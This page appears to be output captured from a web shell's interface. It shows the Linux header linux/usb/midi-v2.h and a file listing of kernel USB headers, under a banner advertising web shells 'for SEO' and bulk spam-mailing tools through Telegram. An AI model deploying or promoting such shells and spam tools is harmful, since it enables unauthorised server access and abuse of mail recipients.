__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * <linux/usb/midi-v2.h> -- USB MIDI 2.0 definitions.
 */

#ifndef __LINUX_USB_MIDI_V2_H
#define __LINUX_USB_MIDI_V2_H

#include <linux/types.h>
#include <linux/usb/midi.h>

/* A.1 MS Class-Specific Interface Descriptor Types */
#define USB_DT_CS_GR_TRM_BLOCK	0x26

/* A.1 MS Class-Specific Interface Descriptor Subtypes */
/* same as MIDI 1.0 */

/* A.2 MS Class-Specific Endpoint Descriptor Subtypes */
#define USB_MS_GENERAL_2_0	0x02

/* A.3 MS Class-Specific Group Terminal Block Descriptor Subtypes */
#define USB_MS_GR_TRM_BLOCK_UNDEFINED	0x00
#define USB_MS_GR_TRM_BLOCK_HEADER	0x01
#define USB_MS_GR_TRM_BLOCK		0x02

/* A.4 MS Interface Header MIDIStreaming Class Revision */
#define USB_MS_REV_MIDI_1_0		0x0100
#define USB_MS_REV_MIDI_2_0		0x0200

/* A.5 MS MIDI IN and OUT Jack Types */
/* same as MIDI 1.0 */

/* A.6 Group Terminal Block Types */
#define USB_MS_GR_TRM_BLOCK_TYPE_BIDIRECTIONAL	0x00
#define USB_MS_GR_TRM_BLOCK_TYPE_INPUT_ONLY	0x01
#define USB_MS_GR_TRM_BLOCK_TYPE_OUTPUT_ONLY	0x02

/* A.7 Group Terminal Default MIDI Protocol */
#define USB_MS_MIDI_PROTO_UNKNOWN	0x00 /* Unknown (Use MIDI-CI) */
#define USB_MS_MIDI_PROTO_1_0_64	0x01 /* MIDI 1.0, UMP up to 64bits */
#define USB_MS_MIDI_PROTO_1_0_64_JRTS	0x02 /* MIDI 1.0, UMP up to 64bits, Jitter Reduction Timestamps */
#define USB_MS_MIDI_PROTO_1_0_128	0x03 /* MIDI 1.0, UMP up to 128bits */
#define USB_MS_MIDI_PROTO_1_0_128_JRTS	0x04 /* MIDI 1.0, UMP up to 128bits, Jitter Reduction Timestamps */
#define USB_MS_MIDI_PROTO_2_0		0x11 /* MIDI 2.0 */
#define USB_MS_MIDI_PROTO_2_0_JRTS	0x12 /* MIDI 2.0, Jitter Reduction Timestamps */

/* 5.2.2.1 Class-Specific MS Interface Header Descriptor */
/* Same as MIDI 1.0, use struct usb_ms_header_descriptor */

/* 5.3.2 Class-Specific MIDI Streaming Data Endpoint Descriptor */
struct usb_ms20_endpoint_descriptor {
	__u8  bLength;			/* 4+n */
	__u8  bDescriptorType;		/* USB_DT_CS_ENDPOINT */
	__u8  bDescriptorSubtype;	/* USB_MS_GENERAL_2_0 */
	__u8  bNumGrpTrmBlock;		/* Number of Group Terminal Blocks: n */
	__u8  baAssoGrpTrmBlkID[];	/* ID of the Group Terminal Blocks [n] */
} __packed;

#define USB_DT_MS20_ENDPOINT_SIZE(n)	(4 + (n))

/* As above, but more useful for defining your own descriptors: */
#define DECLARE_USB_MS20_ENDPOINT_DESCRIPTOR(n)			\
struct usb_ms20_endpoint_descriptor_##n {			\
	__u8  bLength;						\
	__u8  bDescriptorType;					\
	__u8  bDescriptorSubtype;				\
	__u8  bNumGrpTrmBlock;					\
	__u8  baAssoGrpTrmBlkID[n];				\
} __packed

/* 5.4.1 Class-Specific Group Terminal Block Header Descriptor */
struct usb_ms20_gr_trm_block_header_descriptor {
	__u8  bLength;			/* 5 */
	__u8  bDescriptorType;		/* USB_DT_CS_GR_TRM_BLOCK */
	__u8  bDescriptorSubtype;	/* USB_MS_GR_TRM_BLOCK_HEADER */
	__le16 wTotalLength;		/* Total number of bytes */
} __packed;

/* 5.4.2.1 Group Terminal Block Descriptor */
struct usb_ms20_gr_trm_block_descriptor {
	__u8  bLength;			/* 13 */
	__u8  bDescriptorType;		/* USB_DT_CS_GR_TRM_BLOCK */
	__u8  bDescriptorSubtype;	/* USB_MS_GR_TRM_BLOCK */
	__u8  bGrpTrmBlkID;		/* ID of this Group Terminal Block */
	__u8  bGrpTrmBlkType;		/* Group Terminal Block Type */
	__u8  nGroupTrm;		/* The first member Group Terminal in this block */
	__u8  nNumGroupTrm;		/* Number of member Group Terminals spanned */
	__u8  iBlockItem;		/* String ID of Block item */
	__u8  bMIDIProtocol;		/* Default MIDI protocol */
	__le16 wMaxInputBandwidth;	/* Max input bandwidth capability in 4kB/s */
	__le16 wMaxOutputBandwidth;	/* Max output bandwidth capability in 4kB/s */
} __packed;

#endif /* __LINUX_USB_MIDI_V2_H */

Filemanager

Name Type Size Permission Actions
audio-v2.h File 13.87 KB 0644
audio-v3.h File 13.94 KB 0644
audio.h File 1.08 KB 0644
c67x00.h File 1.12 KB 0644
ccid.h File 787 B 0644
cdc-wdm.h File 511 B 0644
cdc.h File 1.3 KB 0644
cdc_ncm.h File 5.84 KB 0644
ch9.h File 2.13 KB 0644
chipidea.h File 3.61 KB 0644
composite.h File 24.61 KB 0644
ehci-dbgp.h File 2.05 KB 0644
ehci_def.h File 7.4 KB 0644
ehci_pdriver.h File 1.66 KB 0644
ezusb.h File 286 B 0644
func_utils.h File 2.65 KB 0644
functionfs.h File 151 B 0644
g_hid.h File 442 B 0644
gadget.h File 36.8 KB 0644
gadget_configfs.h File 2.87 KB 0644
hcd.h File 27.41 KB 0644
input.h File 526 B 0644
iowarrior.h File 1.34 KB 0644
irda.h File 3.76 KB 0644
isp116x.h File 1.13 KB 0644
isp1301.h File 1.93 KB 0644
isp1362.h File 1.59 KB 0644
ljca.h File 4.2 KB 0644
m66592.h File 773 B 0644
midi-v2.h File 3.55 KB 0644
musb-ux500.h File 395 B 0644
musb.h File 3.16 KB 0644
net2280.h File 22.86 KB 0644
of.h File 2.03 KB 0644
ohci_pdriver.h File 1.02 KB 0644
onboard_dev.h File 584 B 0644
otg-fsm.h File 7.93 KB 0644
otg.h File 3.08 KB 0644
pd.h File 16.7 KB 0644
pd_ado.h File 1.16 KB 0644
pd_bdo.h File 556 B 0644
pd_ext_sdb.h File 698 B 0644
pd_vdo.h File 16.51 KB 0644
phy.h File 8.09 KB 0644
phy_companion.h File 693 B 0644
quirks.h File 2.44 KB 0644
r8152.h File 1.04 KB 0644
r8a66597.h File 16.99 KB 0644
renesas_usbhs.h File 3.62 KB 0644
rndis_host.h File 5.32 KB 0644
role.h File 3.58 KB 0644
rzv2m_usb3drd.h File 450 B 0644
serial.h File 17.17 KB 0644
sl811.h File 838 B 0644
storage.h File 2.77 KB 0644
tcpci.h File 8.49 KB 0644
tcpm.h File 7.73 KB 0644
tegra_usb_phy.h File 2.23 KB 0644
typec.h File 12.61 KB 0644
typec_altmode.h File 7.71 KB 0644
typec_dp.h File 4.69 KB 0644
typec_mux.h File 2.77 KB 0644
typec_retimer.h File 1.17 KB 0644
typec_tbt.h File 1.82 KB 0644
uas.h File 2.07 KB 0644
ulpi.h File 2.1 KB 0644
usb338x.h File 7.29 KB 0644
usb_phy_generic.h File 582 B 0644
usbnet.h File 10.07 KB 0644
uvc.h File 6.46 KB 0644
webusb.h File 2.4 KB 0644
xhci-dbgp.h File 651 B 0644
Filemanager